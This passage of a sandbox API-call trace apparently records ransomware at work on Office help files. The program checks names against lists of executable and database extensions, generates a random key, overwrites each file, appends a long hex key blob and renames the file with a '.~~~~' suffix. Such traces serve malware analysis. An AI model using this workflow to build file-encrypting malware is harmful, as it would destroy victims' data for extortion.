	[0145.897] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0145.897] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0145.897] WriteFile (in: hFile=0x114, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0145.898] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0145.898] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0145.898] CloseHandle (hObject=0x114) returned 1
	[0145.898] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29b0bc8
	[0145.898] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_col.hxt"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_col.hxt.~~~~")) returned 1
	[0145.959] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b0bc8 | out: hHeap=0x300000) returned 1
	[0145.959] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0145.959] GetLastError () returned 0x0
	[0145.959] RtlWakeConditionVariable () returned 0x0
	[0145.965] GetCurrentThreadId () returned 0xaf0
	[0145.965] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC", lpSrch=".scr") returned 0x0
	[0146.021] lstrlenW (lpString=".cmd") returned 4
	[0146.021] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC", lpSrch=".cmd") returned 0x0
	[0146.021] lstrlenW (lpString=".dll") returned 4
	[0146.021] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC", lpSrch=".dll") returned 0x0
	[0146.021] lstrlenW (lpString=".bat") returned 4
	[0146.021] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC", lpSrch=".bat") returned 0x0
	[0146.021] lstrlenW (lpString=".cpl") returned 4
	[0146.021] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC", lpSrch=".cpl") returned 0x0
	[0146.021] lstrlenW (lpString=".sys") returned 4
	[0146.021] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC", lpSrch=".sys") returned 0x0
	[0146.021] lstrlenW (lpString=".msc") returned 4
	[0146.021] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC", lpSrch=".msc") returned 0x0
	[0146.021] lstrlenW (lpString=".com") returned 4
	[0146.021] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC", lpSrch=".com") returned 0x0
	[0146.021] lstrlenW (lpString=".lnk") returned 4
	[0146.022] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC", lpSrch=".lnk") returned 0x0
	[0146.022] lstrlenW (lpString=".msp") returned 4
	[0146.022] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC", lpSrch=".msp") returned 0x0
	[0146.022] lstrlenW (lpString=".pif") returned 4
	[0146.022] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC", lpSrch=".pif") returned 0x0
	[0146.022] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0146.022] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC", lpSrch="msp\r\n.pif") returned 0x0
	[0146.022] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0146.024] lstrlenW (lpString=".sqb") returned 4
	[0146.024] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC", lpSrch=".sqb") returned 0x0
	[0146.024] lstrlenW (lpString=".ost") returned 4
	[0146.024] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC", lpSrch=".ost") returned 0x0
	[0146.024] lstrlenW (lpString=".txt") returned 4
	[0146.024] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC", lpSrch=".txt") returned 0x0
	[0146.024] lstrlenW (lpString=".mdt") returned 4
	[0146.024] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC", lpSrch=".mdt") returned 0x0
	[0146.024] lstrlenW (lpString=".BDB") returned 4
	[0146.024] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC", lpSrch=".BDB") returned 0x0
	[0146.024] lstrlenW (lpString=".eql") returned 4
	[0146.024] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC", lpSrch=".eql") returned 0x0
	[0146.024] lstrlenW (lpString=".DBF") returned 4
	[0146.024] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC", lpSrch=".DBF") returned 0x0
	[0146.024] lstrlenW (lpString=".EQL") returned 4
	[0146.024] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC", lpSrch=".EQL") returned 0x0
	[0146.024] lstrlenW (lpString=".FDB") returned 4
	[0146.024] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC", lpSrch=".FDB") returned 0x0
	[0146.024] lstrlenW (lpString=".EDB") returned 4
	[0146.024] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC", lpSrch=".EDB") returned 0x0
	[0146.024] lstrlenW (lpString=".DACPAC") returned 7
	[0146.024] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC", lpSrch=".DACPAC") returned 0x0
	[0146.024] lstrlenW (lpString=".VHD") returned 4
	[0146.024] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC", lpSrch=".VHD") returned 0x0
	[0146.025] lstrlenW (lpString=".DBV") returned 4
	[0146.025] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC", lpSrch=".DBV") returned 0x0
	[0146.025] lstrlenW (lpString=".dacpac") returned 7
	[0146.025] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC", lpSrch=".dacpac") returned 0x0
	[0146.025] lstrlenW (lpString=".sdf") returned 4
	[0146.025] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC", lpSrch=".sdf") returned 0x0
	[0146.025] lstrlenW (lpString=".accdb") returned 6
	[0146.025] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC", lpSrch=".accdb") returned 0x0
	[0146.025] lstrlenW (lpString=".DBX") returned 4
	[0146.025] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC", lpSrch=".DBX") returned 0x0
	[0146.025] lstrlenW (lpString=".MDT") returned 4
	[0146.025] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC", lpSrch=".MDT") returned 0x0
	[0146.025] lstrlenW (lpString=".SQB") returned 4
	[0146.025] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC", lpSrch=".SQB") returned 0x0
	[0146.025] lstrlenW (lpString=".vhd") returned 4
	[0146.025] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC", lpSrch=".vhd") returned 0x0
	[0146.025] lstrlenW (lpString=".bac") returned 4
	[0146.025] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC", lpSrch=".bac") returned 0x0
	[0146.025] lstrlenW (lpString=".mdf") returned 4
	[0146.025] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC", lpSrch=".mdf") returned 0x0
	[0146.025] lstrlenW (lpString=".BAK") returned 4
	[0146.025] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC", lpSrch=".BAK") returned 0x0
	[0146.025] lstrlenW (lpString=".BAC") returned 4
	[0146.025] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC", lpSrch=".BAC") returned 0x0
	[0146.025] lstrlenW (lpString=".dbs") returned 4
	[0146.025] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC", lpSrch=".dbs") returned 0x0
	[0146.025] lstrlenW (lpString=".vhdx") returned 5
	[0146.025] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC", lpSrch=".vhdx") returned 0x0
	[0146.025] lstrlenW (lpString=".NDF") returned 4
	[0146.025] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC", lpSrch=".NDF") returned 0x0
	[0146.025] lstrlenW (lpString=".dat") returned 4
	[0146.025] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC", lpSrch=".dat") returned 0x0
	[0146.025] lstrlenW (lpString=".DBS") returned 4
	[0146.025] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC", lpSrch=".DBS") returned 0x0
	[0146.026] lstrlenW (lpString=".CKP") returned 4
	[0146.026] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC", lpSrch=".CKP") returned 0x0
	[0146.026] lstrlenW (lpString=".edb") returned 4
	[0146.026] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC", lpSrch=".edb") returned 0x0
	[0146.026] lstrlenW (lpString=".PST") returned 4
	[0146.026] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC", lpSrch=".PST") returned 0x0
	[0146.026] lstrlenW (lpString=".dbf") returned 4
	[0146.026] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC", lpSrch=".dbf") returned 0x0
	[0146.026] lstrlenW (lpString=".SQL") returned 4
	[0146.026] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC", lpSrch=".SQL") returned 0x0
	[0146.026] lstrlenW (lpString=".pst") returned 4
	[0146.026] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC", lpSrch=".pst") returned 0x0
	[0146.026] lstrlenW (lpString=".dbv") returned 4
	[0146.026] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC", lpSrch=".dbv") returned 0x0
	[0146.026] lstrlenW (lpString=".SDF") returned 4
	[0146.026] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC", lpSrch=".SDF") returned 0x0
	[0146.026] lstrlenW (lpString=".dtxs") returned 5
	[0146.026] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC", lpSrch=".dtxs") returned 0x0
	[0146.026] lstrlenW (lpString=".db3") returned 4
	[0146.026] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC", lpSrch=".db3") returned 0x0
	[0146.026] lstrlenW (lpString=".OST") returned 4
	[0146.026] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC", lpSrch=".OST") returned 0x0
	[0146.026] lstrlenW (lpString=".dbx") returned 4
	[0146.026] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC", lpSrch=".dbx") returned 0x0
	[0146.026] lstrlenW (lpString=".DB3") returned 4
	[0146.026] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC", lpSrch=".DB3") returned 0x0
	[0146.026] lstrlenW (lpString=".DAT") returned 4
	[0146.026] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC", lpSrch=".DAT") returned 0x0
	[0146.026] lstrlenW (lpString=".VHDX") returned 5
	[0146.026] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC", lpSrch=".VHDX") returned 0x0
	[0146.026] lstrlenW (lpString=".ndf") returned 4
	[0146.026] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC", lpSrch=".ndf") returned 0x0
	[0146.026] lstrlenW (lpString=".DB") returned 3
	[0146.026] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC", lpSrch=".DB") returned 0x0
	[0146.026] lstrlenW (lpString=".sql") returned 4
	[0146.026] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC", lpSrch=".sql") returned 0x0
	[0146.027] lstrlenW (lpString=".MYD") returned 4
	[0146.027] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC", lpSrch=".MYD") returned 0x0
	[0146.027] lstrlenW (lpString=".DBT") returned 4
	[0146.027] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC", lpSrch=".DBT") returned 0x0
	[0146.027] lstrlenW (lpString=".ACCDB") returned 6
	[0146.027] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC", lpSrch=".ACCDB") returned 0x0
	[0146.027] lstrlenW (lpString=".fdb") returned 4
	[0146.027] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC", lpSrch=".fdb") returned 0x0
	[0146.027] lstrlenW (lpString=".bak") returned 4
	[0146.027] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC", lpSrch=".bak") returned 0x0
	[0146.027] lstrlenW (lpString=".myd") returned 4
	[0146.027] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC", lpSrch=".myd") returned 0x0
	[0146.027] lstrlenW (lpString=".DTXS") returned 5
	[0146.027] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC", lpSrch=".DTXS") returned 0x0
	[0146.027] lstrlenW (lpString=".ckp") returned 4
	[0146.027] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC", lpSrch=".ckp") returned 0x0
	[0146.027] lstrlenW (lpString=".dbt") returned 4
	[0146.027] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC", lpSrch=".dbt") returned 0x0
	[0146.027] lstrlenW (lpString=".db") returned 3
	[0146.027] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC", lpSrch=".db") returned 0x0
	[0146.027] lstrlenW (lpString=".TXT") returned 4
	[0146.027] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC", lpSrch=".TXT") returned 0x0
	[0146.027] lstrlenW (lpString=".MDF") returned 4
	[0146.027] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC", lpSrch=".MDF") returned 0x0
	[0146.027] lstrlenW (lpString=".bdb") returned 4
	[0146.027] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC", lpSrch=".bdb") returned 0x0
	[0146.027] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0146.027] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0146.027] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0146.028] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0146.028] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x395da0) returned 1
	[0146.029] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0146.029] CryptReleaseContext (hProv=0x395da0, dwFlags=0x0) returned 1
	[0146.029] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0146.029] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0146.029] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0146.029] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=26601911316) returned 1
	[0146.029] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xc0728250, dwHighDateTime=0x1d60e1e)) 
	[0146.029] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0146.029] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0146.029] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0146.029] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a2090
	[0146.029] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0146.029] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2090 | out: hHeap=0x300000) returned 1
	[0146.029] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0146.030] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0146.030] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29b0bc8
	[0146.030] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0146.030] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c7090
	[0146.030] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b0bc8 | out: hHeap=0x300000) returned 1
	[0146.030] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0146.030] GetLastError () returned 0x0
	[0146.030] GetLastError () returned 0x0
	[0146.030] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0146.030] GetLastError () returned 0x0
	[0146.030] GetLastError () returned 0x0
	[0146.031] ReadFile (in: hFile=0x114, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x1f8fec0*=0x28b, lpOverlapped=0x0) returned 1
	[0146.037] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffffd75, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0146.037] WriteFile (in: hFile=0x114, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x28b, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x1f8fec0*=0x28b, lpOverlapped=0x0) returned 1
	[0146.037] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0146.037] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0146.037] WriteFile (in: hFile=0x114, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0146.037] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0146.037] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0146.037] CloseHandle (hObject=0x114) returned 1
	[0146.038] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29b0bc8
	[0146.038] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_col.hxc"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_col.hxc.~~~~")) returned 1
	[0146.040] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b0bc8 | out: hHeap=0x300000) returned 1
	[0146.040] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0146.040] GetLastError () returned 0x0
	[0146.040] RtlWakeConditionVariable () returned 0x0
	[0146.041] GetCurrentThreadId () returned 0xaf0
	[0146.041] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC", lpSrch=".scr") returned 0x0
	[0146.041] lstrlenW (lpString=".cmd") returned 4
	[0146.041] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC", lpSrch=".cmd") returned 0x0
	[0146.041] lstrlenW (lpString=".dll") returned 4
	[0146.041] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC", lpSrch=".dll") returned 0x0
	[0146.041] lstrlenW (lpString=".bat") returned 4
	[0146.041] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC", lpSrch=".bat") returned 0x0
	[0146.041] lstrlenW (lpString=".cpl") returned 4
	[0146.041] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC", lpSrch=".cpl") returned 0x0
	[0146.041] lstrlenW (lpString=".sys") returned 4
	[0146.041] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC", lpSrch=".sys") returned 0x0
	[0146.041] lstrlenW (lpString=".msc") returned 4
	[0146.041] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC", lpSrch=".msc") returned 0x0
	[0146.041] lstrlenW (lpString=".com") returned 4
	[0146.041] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC", lpSrch=".com") returned 0x0
	[0146.041] lstrlenW (lpString=".lnk") returned 4
	[0146.041] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC", lpSrch=".lnk") returned 0x0
	[0146.041] lstrlenW (lpString=".msp") returned 4
	[0146.041] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC", lpSrch=".msp") returned 0x0
	[0146.041] lstrlenW (lpString=".pif") returned 4
	[0146.041] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC", lpSrch=".pif") returned 0x0
	[0146.041] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0146.041] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC", lpSrch="msp\r\n.pif") returned 0x0
